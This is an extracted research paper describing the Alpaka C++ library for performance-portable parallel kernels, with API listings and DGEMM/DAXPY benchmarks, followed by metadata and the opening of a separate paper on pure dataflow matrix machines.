In order to execute Alpaka code on different hardware the interface is currently implemented using various parallelism models such as OpenMP, CUDA, C++ threads and boost fibers. Alpaka interface implementations, called back-ends, are not limited to these choices and will in the future be extended by e.g. Thread Building Blocks. By design, new back-ends can be added to Alpaka. Thus, Alpaka allows for mixing parallelization models in a single source program, thereby enabling the user to choose the implementation that is best suited for a given choice of hardware and algorithm. It even enables running multiple of the same or different back-end instances simultaneously, e.g. to utilize all cores on a device as well as all accelerators concurrently.
The Alpaka library is based on the C++11 standard without any language extensions and makes extensive usage of C++ template meta-programming. Algorithms are written in-line with single source code and are called kernels which can be compiled to multiple platform back-ends by simply selecting the appropriate back-end. The actual back-ends that execute an algorithm can, thus, be selected at configure-, compile- or run-time, making it possible to run an algorithm on multiple back-ends in one binary at the same time.
Alpaka does not automatically optimize data accesses or data transfers between devices. Data are
Table 1: Properties of intra-node parallelization frameworks and their ability to solve the problems in porting high-performance HPC codes. ✓: yes / fully solved, ○: partially solved, ×: no / not solved
<table>
<thead>
<tr>
<th>Model</th>
<th>Openness</th>
<th>Single Source</th>
<th>Sustainability</th>
<th>Heterogeneity</th>
<th>Maintainability</th>
<th>Testability</th>
<th>Optimizability</th>
<th>Data structure agnostic</th>
</tr>
</thead>
<tbody>
<tr>
<td>NVIDIA CUDA</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>○</td>
<td>×</td>
</tr>
<tr>
<td>PGI CUDA-x86</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>○</td>
<td>×</td>
</tr>
<tr>
<td>GPU Ocelot</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✗</td>
<td>✓</td>
</tr>
<tr>
<td>OpenMP</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>OpenACC</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>OpenCL</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>SYCL</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>C++-AMP</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>KOKKOS</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✗</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Thrust</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Alpaka</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
stored in simple buffers with support for copies between devices and access to memory is completely data structure agnostic. Thus, the user needs to take care of distribution of data between devices.
Alpaka does neither automatically decompose the algorithmic execution domain and data domain, nor does it assume any default or implicit states such as default device, current device, default stream, implicit built-in variables and functions.
3.2 Model of Parallel Abstraction
Alpaka abstracts data parallelism following the redundant hierarchical parallelism model [4], thereby enabling the developer to explicitly take the hierarchy of processing units, their data parallel features and corresponding memory regions into account. The Alpaka abstraction of parallelization is influenced by and based on the groundbreaking CUDA and OpenCL abstractions\(^9\) of a multidimensional grid of threads with additional hierarchy levels in between. Furthermore, it is amended with additional vectorization capabilities.
The four main hierarchies introduced by Alpaka are called grid, block, thread and element level, shown in Figure 1 together with their respective parallelization and synchronization features as discussed below.
Each parallelization level corresponds to a particular memory level (Figure 2): global memory (grid), shared memory (block) and register memory (thread).
The Alpaka model enables to separate the parallelization strategy from the algorithm. The algorithm is described by kernel functions that are executed by threads. A kernel is the common set of instructions executed by all threads on a grid.
The parallelization strategy is described by the accelerator and the work division (See Section 3.3 and 3.4). An accelerator defines the acceleration strategy by a mapping of the parallelization levels
\(^9\)Both, CUDA and OpenCL are industry standards for accelerator programming.
Figure 2: The memory hierarchy of the Alpaka abstraction model. Threads have exclusive access to fast register memory. All threads in a block can access the same shared memory. All blocks in a grid can access the same global memory.
to the hardware. The device is the actual hardware onto which these levels are mapped.
3.2.1 Grid
A grid is an n-dimensional set of blocks with a usually large global memory accessible by all threads in all blocks. Grids are independent of each other and can thus be executed either sequentially or in parallel. Grids can be synchronized to each other via explicit synchronization evoked in the code.
3.2.2 Block
A block is an n-dimensional set of threads with a high bandwidth, low latency but small amount of shared memory. All blocks on a grid are independent of each other and can thus be executed either sequentially or in parallel. Blocks cannot be synchronized to each other. The shared memory can only be accessed explicitly by threads within the same block and gets discarded after the complete block has finished its calculation.
3.2.3 Thread
A thread represents the execution of a sequence of instructions. All threads in a block are independent of each other and can thus be executed either sequentially or in parallel. Threads can be synchronized to each other via explicit synchronization evoked in the code. Threads can by default always access their private registers, the shared memory of the block and the global memory. All variables within the default scope of a kernel are stored within register memory and are not shared between threads. Shared and global memory can be allocated statically or at runtime before the kernel start.
3.2.4 Element
The element level represents an n-dimensional set of elements and unifies the data parallel capabilities of modern hardware architectures e.g. vectorization on thread level. This is necessary as current compilers do not support automatic vectorization of basic, non-trivial loops containing control flow statements (e.g. if, else, for) or non-trivial memory operations. Furthermore, vectorization intrinsics as they are available in intrin.h, arm_neo.h, altivec.h are not portable across varying back-ends. Alpaka therefore currently relies on compiler recognition of vectorizable code parts. Code is refactored in such a way that it includes primitive inner loops over a fixed number of elements.
The user is free to sequentially loop over the elements or to utilize vectorization where a single instruction is applied to multiple data elements in parallel e.g. by utilizing SIMD vector registers. Processing multiple elements per thread on some architectures may enhance caching.
3.3 Mapping of Abstraction to Hardware
Alpaka clearly separates its parallelization abstraction from the specific hardware capabilities by an explicit mapping of the parallelization levels to the hardware. A major point of the hierarchical parallelism abstraction is to ignore specific unsupported levels of the model and utilize only the ones sup-
\[^{10}\text{However, Alpaka allows for atomic operations that serialize thread access to global memory.}\]
ported on a particular device. Mapping is left to the implementation of the accelerator.
This allows for variable mappings as shown in the examples below and, therefore, an optimum usage of the underlying compute and memory capabilities—albeit with two minor limitations: The grid level is always mapped to the whole device being in consideration and the kernel scheduler can always execute multiple kernel grids from multiple streams in parallel by statically or dynamically subdividing the available resources.
Figure 3 shows a mapping of the Alpaka abstraction model onto a CPU, a many integrated cores device (MIC) and a GPU architecture. For the MIC architecture a second mapping is shown, which spans a block over all cores to increase the shared memory. CPU and MIC process multiple elements per thread and benefit from their vectorization units, while a GPU thread processes only a small amount of elements.
Finally, the user needs to decide which back-end to use for which device. It can be selected from the set of predefined accelerators or the user can write its own accelerator implementation. The set of predefined accelerator mappings are listed in Table 2.
<table>
<thead>
<tr>
<th>Arch</th>
<th>Acc</th>
<th>Grid</th>
<th>Block</th>
<th>Thread</th>
<th>Element</th>
</tr>
</thead>
<tbody>
<tr>
<td>GPU</td>
<td>CUDA</td>
<td>1</td>
<td>$N/(B \cdot V)$</td>
<td>B</td>
<td>V</td>
</tr>
<tr>
<td>CPU</td>
<td>OpenMP block</td>
<td>1</td>
<td>$N/(B \cdot V)$</td>
<td>B</td>
<td>V</td>
</tr>
<tr>
<td></td>
<td>OpenMP thread</td>
<td>1</td>
<td>$N/(B \cdot V)$</td>
<td>B</td>
<td>V</td>
</tr>
<tr>
<td></td>
<td>C++11 thread</td>
<td>1</td>
<td>$N/(B \cdot V)$</td>
<td>B</td>
<td>V</td>
</tr>
<tr>
<td></td>
<td>Sequential</td>
<td>1</td>
<td>$N/V$</td>
<td>1</td>
<td>V</td>
</tr>
<tr>
<td>MIC</td>
<td>OpenMP block</td>
<td>1</td>
<td>$N/(B \cdot V)$</td>
<td>B</td>
<td>V</td>
</tr>
<tr>
<td></td>
<td>OpenMP thread</td>
<td>1</td>
<td>$N/(B \cdot V)$</td>
<td>B</td>
<td>V</td>
</tr>
</tbody>
</table>
### 3.4 Alpaka Programming Interface
In the following each part of the Alpaka interface is described briefly. The provided listings assume that the Alpaka namespace is used. Source code examples are provided to give a more detailed insight into Alpaka.
#### 3.4.1 Kernel
The kernel is the central unit in Alpaka that acts as the bridge between host and accelerator code through a C++ class or a C++ lambda (C++14 required). The algorithm is described from the block down to the element level which removes the need for a nested loop structure like it is used in OpenMP and SYCL. The kernel function object needs to implement the template `operator()` member function as it is shown in Listing 1. This member function is the first function called on the particular accelerator device.
The code within the kernel is written in C++11 (restricted by the utilized back-end compilers) with additional calls to the Alpaka run-time API. There exist no implicit built-in variables and functions like it is usual in CUDA or OpenCL. All information can be retrieved from the accelerator object (Listing 1 : 4).
3.4.2 Accelerator Executable Functions
Alpaka defines the macros ALPAKA_FN_HOST, ALPAKA_FN_ACC and ALPAKA_FN_HOST_ACC to define that functions are callable from host, from accelerator or from both host and accelerator device. All functions called from accelerator code need to be prefixed by these macros.
3.4.3 Work Division and Index Retrieval
The work division defines the extent and dimensionality of each level of the Alpaka abstraction model. Listing 2 shows the declaration of a two-dimensional work division on the host where the grid level has an extent of 128 blocks and the other levels have an extent of one.
```cpp
Vec<Dim2, size_t> elementsPerThread(1,1);
Vec<Dim2, size_t> threadsPerBlock(1,1);
Vec<Dim2, size_t> blocksPerGrid(8,16);
workdiv::WorkDivMembers<Dim2, size_t>
(blocksPerGrid,
threadsPerBlock,
elementsPerThread);
```
Listing 2: Declaration of a work division in the host code. The work division is defined in two dimensions for all levels. Element and block level have an extent of one, while the grid has an extent of 128.
The work division declared in Listing 2 can be accessed within the kernel via the accelerator object. Furthermore, there exist methods to map the index space between varying extents and dimensionalities. Listing 3 shows a kernel function that calculates the global linearized index of a thread with the help of Alpaka run-time functions.
```cpp
ALPAKA_FN_ACC void operator() (T_Acc acc) const {
// Retrieve the global n-dim thread index
auto gTIdx = idx::getIdx<Grid,
Threads>(acc);
// Retrieve the n-dim thread extent
auto gTExtent = workdiv::getWorkDiv<Grid,
Threads>(acc);
// Retrieve the global one dim thread index
auto linIdx =
core::mapIdx<1>(gTIdx, gTExtent);
}
```
Listing 3: Access of work division and thread index. Thread extent and index are mapped onto a one dimensional space to retrieve a linearized index.
3.4.4 Memory
Alpaka provides simple memory buffers that store the plain pointer to memory of the particular device and additional information like residing device, extent, pitch and dimension. These buffers are uniform for all devices which allows for copying memory between different devices with respect to pitch and extents, see Listing 4.
3.4.5 Streams
A stream is the work queue of a particular device. Operations in streams are always executed in-order: No operation in a stream will begin before all previously issued operations in the stream have completed. Streams can be synchronous or asynchronous with respect to operations on the host. If an operation is
Listing 4: Allocation of a two dimensional host and a device buffer with one hundred elements each. Moreover, the host buffer is copied to the device buffer.
issued in a synchronous stream, the host thread will block until this operation is finished. Asynchronous streams allow the host to resume computations while the accelerator is executing the operation.
3.4.6 Kernel Execution
A kernel will be executed by enqueuing a kernel executor into a stream of a particular device. An executor binds an accelerator, a work division, a kernel and its parameters. Streams are filled with those executors and Alpaka takes care that they will be executed in the specified way. Listing 5 shows a full host code example from the accelerator type definition up to the enqueuing of a kernel into a stream.
Listing 5: Full example of a kernel execution. The kernel is executed with a work division of 256 blocks and 16 threads per block on a single accelerator (in this case the sequential CPU back-end is selected).
4 Evaluation
This section provides an evaluation of Alpaka on a variety of hardware platforms using various back-ends, see Table 3. All CUDA evaluations are compiled with CUDA 7.0 and all CPU evaluations with gcc 4.9.2. Source codes denoted as native are not wrapped by Alpaka, but contain pure CUDA or OpenMP code.
The evaluation was performed in five stages: First, the PTX and assembler code generated during compilation of an Alpaka DAXPY program is compared to the respective native versions. Then, the overhead of two naïve Alpaka DGEMM kernels with respect to their native versions is measured. As a next step, it is investigated what happens to performance portability when the naïve Alpaka DGEMM kernels...
are mapped to an inappropriate back-end followed by the description of a single source DGEMM kernel and how it can obtain performance portability with the help of Alpaka. Finally, the applicability of Alpaka to real world applications was evaluated using HASEonGPU [5].
4.1 Conceptual Comparison
This section compares the Alpaka implementation of the generalized vector addition algorithm in double precision (DAXPY) to a sequential C++ and CUDA implementation on the source code and assembler level.
DAXPY computes $Y \leftarrow \alpha X + Y$ where $X$ and $Y$ are vectors while $\alpha$ is a scalar. DAXPY was selected as a trivial example on the one hand to show-case the non obfuscation abstraction and on the other hand the zero overhead abstraction of Alpaka. The source code of the various DAXPY implementations are available in our GitHub repository11.
From a developers point of view, the source codes are very similar to each other. However, Alpaka related changes are necessary: Alpaka adds the additional accelerator template argument together with the according function argument to the kernel function call. Each function that should be called from a accelerator needs to be annotated with the Alpaka specific macro `ALPAKA_FN_ACC`. Furthermore, Alpaka replaces the for loop index calculations by an Alpaka equivalent that calculates the correct index for each thread.
Figure 4 shows snippets of the PTX codes of the compiled Alpaka and CUDA implementations.
Comparing the generated PTX code leads to the result that these codes are identical up to two additional but unused function parameters in the Alpaka variant as well as different internal variable names and the use of non coherent texture cache once. It can be seen that modern compilers are able to remove all the meta-programming abstraction introduced by Alpaka. This perfectly demonstrates the zero overhead abstraction of the Alpaka interface regarding the CUDA interface.
11https://github.com/BenjaminW3/vecadd
4.2 Performance
As a next step, the performance characteristics of the CUDA and OpenMP Alpaka back-ends are evaluated. First, an algorithm is implemented for both Alpaka and the particular native API to show the pure Alpaka overhead in numbers. Then, the native Alpaka kernel is mapped to the non-native back-end to show that Alpaka is not naively performance portable. Afterwards, an enhanced single source Alpaka kernel is introduced and mapped to various architectures and it is shown that it can match the performance of the native implementations when using the appropriate Alpaka back-ends.
For comparison the double generalized matrix-matrix-multiplication (DGEMM) has been selected as a compute bound problem. DGEMM computes...
Table 3: List of utilized accelerator hardware for evaluation. Clock frequencies which are encapsulated in braces denote the turbo frequency of the particular architecture. Often turbo can only be utilized when not all cores of a device are busy.
<table>
<thead>
<tr>
<th>Vendor</th>
<th>AMD</th>
<th>Intel</th>
<th>Intel</th>
<th>NVIDIA</th>
<th>NVIDIA</th>
</tr>
</thead>
<tbody>
<tr>
<td>Architecture</td>
<td>Opteron 6276</td>
<td>Xeon E5-2609</td>
<td>Xeon E5-2630v3</td>
<td>K20 GK110</td>
<td>K80 GK210</td>
</tr>
<tr>
<td>Number of devices</td>
<td>4</td>
<td>2</td>
<td>2</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>Number of cores per device</td>
<td>16</td>
<td>4</td>
<td>8 (16 hyper-threads)</td>
<td>2496</td>
<td>2x2496</td>
</tr>
<tr>
<td>Clock frequency</td>
<td>2.3 (3.2) GHz</td>
<td>2.4 GHz</td>
<td>2.4 (3.2) GHz</td>
<td>0.56 (0.88) GHz</td>
<td></td>
</tr>
<tr>
<td>Th. double peak performance</td>
<td>480 GFLOPS</td>
<td>150 GFLOPS</td>
<td>540 GFLOPS</td>
<td>1170 GFLOPS</td>
<td>2x1450 GFLOPS</td>
</tr>
</tbody>
</table>
\[ C \leftarrow \alpha A B + \beta C \] where \( C, A \) and \( B \) are matrices \( A = (a_{i,j}) \), \( B = (b_{i,j}) \) while \( \alpha \) and \( \beta \) are scalars. DGEMM implementations can utilize all levels of parallelism on GPUs and CPUs ranging from blocking over shared memory to vectorization, providing a perfect showcase of these techniques within the Alpaka library. All DGEMM implementations are available in our GitHub repository 12.
All input matrices are dense and always have square extents to minimize bias towards implementations preferring column- or row-major layout. Initially, the matrices are filled with random values in the range \([0.0, 10.0]\). The matrices are mapped to 1D memory buffers with Alpaka aligning rows to optimum memory boundaries. Measurements do not include times for allocating the matrices on the host, filling them, a possible data transfer between the processor and a co-processor as well as device and stream initialization.
4.2.1 Zero Overhead Abstraction
Alpaka does not add additional overhead to the algorithm execution time. In order to show this zero overhead, native CUDA and OpenMP 2 kernels were translated one-to-one to Alpaka kernels.
The CUDA kernels use a block parallelized tiling algorithm based on the CUDA programming guide ([3], Sec. 3.2.3) and were executed on a compute node with a NVIDIA K20 GK210. The OpenMP kernels use a standard DGEMM algorithm with nested for loops and were executed on a compute node with two Intel E5-2630v3 CPUs. The kernels were executed with an increasing matrix size and their execution time was measured. Figure 5 shows the speed of the Alpaka kernels mapped to the corresponding back-ends relative to their native implementations.
The native CUDA Alpaka kernel provides more than 94% relative performance for almost all matrix sizes, which is an overhead of 6% or less. After a deep inspection of the compiled PTX code it turned out that this overhead results from move and forward operators translated to copies. These operators are used for grid index calculations within an Alpaka kernel. Furthermore, a small number of additional CUDA runtime calls by the alpaka CUDA back-end are necessary. The native OpenMP Alpaka kernel provides an average relative performance of 100%.
Figure 5: The native Alpaka kernels were mapped to their corresponding native back-ends and compared to the native implementations. Both kernels show a relative overhead of less than 6% which is well below run-to-run variation. This proves the zero overhead abstraction of Alpaka.
12https://github.com/BenjaminW3/matmul
Figure 6: The native Alpaka kernels with swapped back-ends leads to poor performance. Alpaka does not guarantee performance portability when data access, work division and cache hierarchies are not considered.
One-to-one translation of a particular algorithm to an Alpaka kernel demonstrates a minimal amount of overhead compared to the native implementation on the same architecture. However, Alpaka does not guarantee that such a kernel will also show the same run-time characteristics when it is mapped onto another back-end, as it neither provides optimized nor architecture dependent data access and work division automatically. Figure 6 shows the performance of the previously used kernels when their back-ends are swapped relative to the native implementation.
The Alpaka kernels originally translated from the opposite back-end do not perform well. There are at least two reasons why these mappings are not performance portable. First, the back-ends require completely different data access patterns to achieve optimum data access performance e.g. strided data access in CUDA. Second, the amount of data a single thread can process effectively is different because of different cache sizes and hierarchies and varying optimal work divisions.
Nevertheless, it is possible to write competitive code for each back-end. Both, the NVIDIA CUDA (nvcc) and the gcc compiler remove all the abstraction layers introduced by Alpaka.
A naïve port of a kernel to an architecture it was not meant to be executed on will almost always lead to poor performance. Thus, providing a single, performance portable kernel is not trivial. The following section shows that Alpaka is able to provide performance for various back-ends with a single source kernel.
4.2.2 Single Source Kernel / Performance
It is possible to write a single source kernel that performs well on all tested Alpaka back-ends without a drop in performance compared to the native implementations. In order to reach this performance, the developer needs to abstract the access to data, optimize the work division, and consider cache hierarchies. The single source Alpaka DGEMM kernel implements a tiling matrix-matrix multiplication algorithm and considers the architecture cache sizes by adapting the number of elements processed per thread or block and the size of the shared memory to provide minimal access latency. A lot of processor architectures benefit from the Alpaka element level parallelism when calculating multiple elements in parallel in the vector processing unit.
Figure 7 provides a brief description of the hierarchical tiling algorithm. A block calculates the result of a tile in matrix C. Each thread in this block loads a set of elements of matrices A and B into shared memory to increase memory reuse. It then calculates the partial results of its set of elements before the block continues with the next tiles of A and B.
Figure 8 shows the performance of the tiling kernel mapped to the CUDA and OpenMP back-ends relative to the original native implementations. No performance loss compared to native implementations is observed but instead performance gain in the majority of cases is seen. This is due to the more descriptive nature of the Alpaka kernel which enables even further optimizations by the back-end compilers.
It is clear that there exist even more optimized versions of the algorithm, e.g. in mathematical libraries such as cuBlas, which is fine tuned for differ-
Figure 7: An Alpaka optimized hierarchically tiled matrix-matrix multiplication algorithm with multiple elements per thread. A block loads tiles of the A and B matrix into its shared memory to increase memory reuse. A thread can calculate multiple elements by using the vector processing unit of its particular back-end.
Figure 8: The Alpaka single source DGEMM kernel implements a hierarchical tiling matrix-matrix multiplication algorithm. This kernel can compete with and even outperform the original native implementations on all tested back-ends.
4.3 Real World Example
HASEonGPU is an open-source adaptive massively parallel multi-GPU Monte Carlo integration algorithm for computing the amplified spontaneous emission (ASE) flux in laser gain media pumped by pulsed lasers. The source code consists of about ten thousand lines of code and has been ported in three weeks by one person to Alpaka (HASEonAlpaka). After the porting has been finished, HASEonAlpaka has successfully been executed on GPU and CPU clusters.
Figure 10 shows the relative speed of a HASEonAlpaka computation executed with identical parameters on different systems. The original native CUDA version is used as the basis for comparison. The Alpaka version using the CUDA back-end running on the same NVIDIA K20 GK110 cluster as the native version does not show any overhead at all leading to identical execution times.
14https://github.com/ComputationalRadiationPhysics/haseongpu
5 Conclusion
We have presented the abstract C++ interface Alpaka and its implementations for parallel kernel execution across multiple hierarchy levels on a single compute node. We have demonstrated platform and performance portability for all studied use cases. A single source Alpaka DGEMM implementation provides consistently 20% of the theoretical peak performance on AMD, Intel and NVIDIA hardware, being on par with the respective native implementations. Moreover, performance measurements of a real world application translated to Alpaka unanimously demonstrated that Alpaka can be used to write performance portable code.
Performance portability, maintainability, sustainability and testability were reached through the usage of C++ metaprogramming techniques abstracting the variations in the underlying architectures. Alpaka code is sustainable, optimizable and easily extendable to support even more architectures through the use of C++ template specialization. It is data structure agnostic and provides a simple pointer based memory model that requires explicit deep copies between memory levels.
Future work will focus on including more Alpaka back-ends, e.g. for OpenACC and OpenMP 4.x target offloading and studying performance portability for additional architectures (e.g Intel Xeon Phi and OpenPower) and applications.
Alpaka is an open-source project and available in our GitHub repository\(^{15}\).
References
\(^{15}\)https://github.com/ComputationalRadiationPhysics/alpaka
|
{"Source-Url": "http://export.arxiv.org/pdf/1602.08477", "len_cl100k_base": 9457, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 47864, "total-output-tokens": 9841, "length": "2e13", "weborganizer": {"__label__adult": 0.00044655799865722656, "__label__art_design": 0.0004687309265136719, "__label__crime_law": 0.0004067420959472656, "__label__education_jobs": 0.0004444122314453125, "__label__entertainment": 0.00010782480239868164, "__label__fashion_beauty": 0.00020682811737060547, "__label__finance_business": 0.00026154518127441406, "__label__food_dining": 0.0004048347473144531, "__label__games": 0.00106048583984375, "__label__hardware": 0.00450897216796875, "__label__health": 0.0005755424499511719, "__label__history": 0.0004239082336425781, "__label__home_hobbies": 0.00014150142669677734, "__label__industrial": 0.0009050369262695312, "__label__literature": 0.0002142190933227539, "__label__politics": 0.0003516674041748047, "__label__religion": 0.0007648468017578125, "__label__science_tech": 0.1068115234375, "__label__social_life": 7.647275924682617e-05, "__label__software": 0.009246826171875, "__label__software_dev": 0.87060546875, "__label__sports_fitness": 0.0005040168762207031, "__label__transportation": 0.0009284019470214844, "__label__travel": 0.000286102294921875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43223, 0.02976]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43223, 0.32056]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43223, 0.88837]], "google_gemma-3-12b-it_contains_pii": [[0, 2255, false], [2255, 6756, null], [6756, 10952, null], [10952, 15179, null], [15179, 19335, null], [19335, 22486, null], [22486, 25319, null], [25319, 27977, null], [27977, 29704, null], [29704, 32440, null], [32440, 35897, null], [35897, 39366, null], [39366, 40828, null], [40828, 42607, null], [42607, 43223, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2255, true], [2255, 6756, null], [6756, 10952, null], [10952, 15179, null], [15179, 19335, null], [19335, 22486, null], [22486, 25319, null], [25319, 27977, null], [27977, 29704, null], [29704, 32440, null], [32440, 35897, null], [35897, 39366, null], [39366, 40828, null], [40828, 42607, null], [42607, 43223, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43223, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43223, null]], "pdf_page_numbers": [[0, 2255, 1], [2255, 6756, 2], [6756, 10952, 3], [10952, 15179, 4], [15179, 19335, 5], [19335, 22486, 6], [22486, 25319, 7], [25319, 27977, 8], [27977, 29704, 9], [29704, 32440, 10], [32440, 35897, 11], [35897, 39366, 12], [39366, 40828, 13], [40828, 42607, 14], [42607, 43223, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43223, 0.14286]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
494f4e73af755c2146ad91673873bc3593f97825
|
[REMOVED]
|
{"len_cl100k_base": 9070, "olmocr-version": "0.1.49", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 49096, "total-output-tokens": 12156, "length": "2e13", "weborganizer": {"__label__adult": 0.0004589557647705078, "__label__art_design": 0.0007028579711914062, "__label__crime_law": 0.0004787445068359375, "__label__education_jobs": 0.0009546279907226562, "__label__entertainment": 0.00021970272064208984, "__label__fashion_beauty": 0.0002658367156982422, "__label__finance_business": 0.00042891502380371094, "__label__food_dining": 0.0004727840423583984, "__label__games": 0.00081634521484375, "__label__hardware": 0.0014886856079101562, "__label__health": 0.0007867813110351562, "__label__history": 0.0004048347473144531, "__label__home_hobbies": 0.0001233816146850586, "__label__industrial": 0.0007295608520507812, "__label__literature": 0.0004377365112304687, "__label__politics": 0.0004732608795166016, "__label__religion": 0.0006918907165527344, "__label__science_tech": 0.2332763671875, "__label__social_life": 0.00013494491577148438, "__label__software": 0.016998291015625, "__label__software_dev": 0.73828125, "__label__sports_fitness": 0.0003862380981445313, "__label__transportation": 0.0005950927734375, "__label__travel": 0.0002722740173339844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 49496, 0.02013]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 49496, 0.44506]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 49496, 0.90171]], "google_gemma-3-12b-it_contains_pii": [[0, 4332, false], [4332, 8334, null], [8334, 11583, null], [11583, 15318, null], [15318, 18822, null], [18822, 21831, null], [21831, 25554, null], [25554, 29113, null], [29113, 33710, null], [33710, 38028, null], [38028, 39776, null], [39776, 45272, null], [45272, 49496, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4332, true], [4332, 8334, null], [8334, 11583, null], [11583, 15318, null], [15318, 18822, null], [18822, 21831, null], [21831, 25554, null], [25554, 29113, null], [29113, 33710, null], [33710, 38028, null], [38028, 39776, null], [39776, 45272, null], [45272, 49496, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 49496, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 49496, null]], "pdf_page_numbers": [[0, 4332, 1], [4332, 8334, 2], [8334, 11583, 3], [11583, 15318, 4], [15318, 18822, 5], [18822, 21831, 6], [21831, 25554, 7], [25554, 29113, 8], [29113, 33710, 9], [33710, 38028, 10], [38028, 39776, 11], [39776, 45272, 12], [45272, 49496, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 49496, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
039fd8e539619c356d9dd5b773e2d57b527572e3
|
Notes on Pure Dataflow Matrix Machines
Programming with Self-referential Matrix Transformations
Michael Bukatin
HERE North America LLC
Burlington, Massachusetts, USA
bukatin@cs.brandeis.edu
Steve Matthews
Department of Computer Science
University of Warwick
Coventry, UK
Steve.Matthews@warwick.ac.uk
Andrey Radul
Project Fluid
Cambridge, Massachusetts, USA
aor021@gmail.com
Abstract
Dataflow matrix machines are self-referential generalized recurrent neural nets. The self-referential mechanism is provided via a stream of matrices defining the connectivity and weights of the network in question. A natural question is: what should play the role of untyped lambda-calculus for this programming architecture? The proposed answer is a discipline of programming with only one kind of streams, namely the streams of appropriately shaped matrices. This yields pure dataflow matrix machines which are networks of transformers of streams of matrices capable of defining a pure dataflow matrix machine.
Categories and Subject Descriptors D [3]: 2—Data-flow languages
General Terms higher-order programming, dataflow
Keywords continuous deformation of software, self-referential software
1. Introduction
The purpose of these notes is to contribute to the theoretical understanding of dataflow matrix machines.
Dataflow matrix machines (DMMs) arise in the context of synchronous dataflow programming with linear streams, i.e. streams equipped with an operation of taking a linear combinations of several streams [3].
This is a new general-purpose programming architecture with interesting properties. One of these properties is that large classes of programs are parametrized by matrices of numbers. In this aspect DMMs are similar to recurrent neural nets and, in fact, they can be considered to be a very powerful generalization of recurrent neural nets [2, 4].
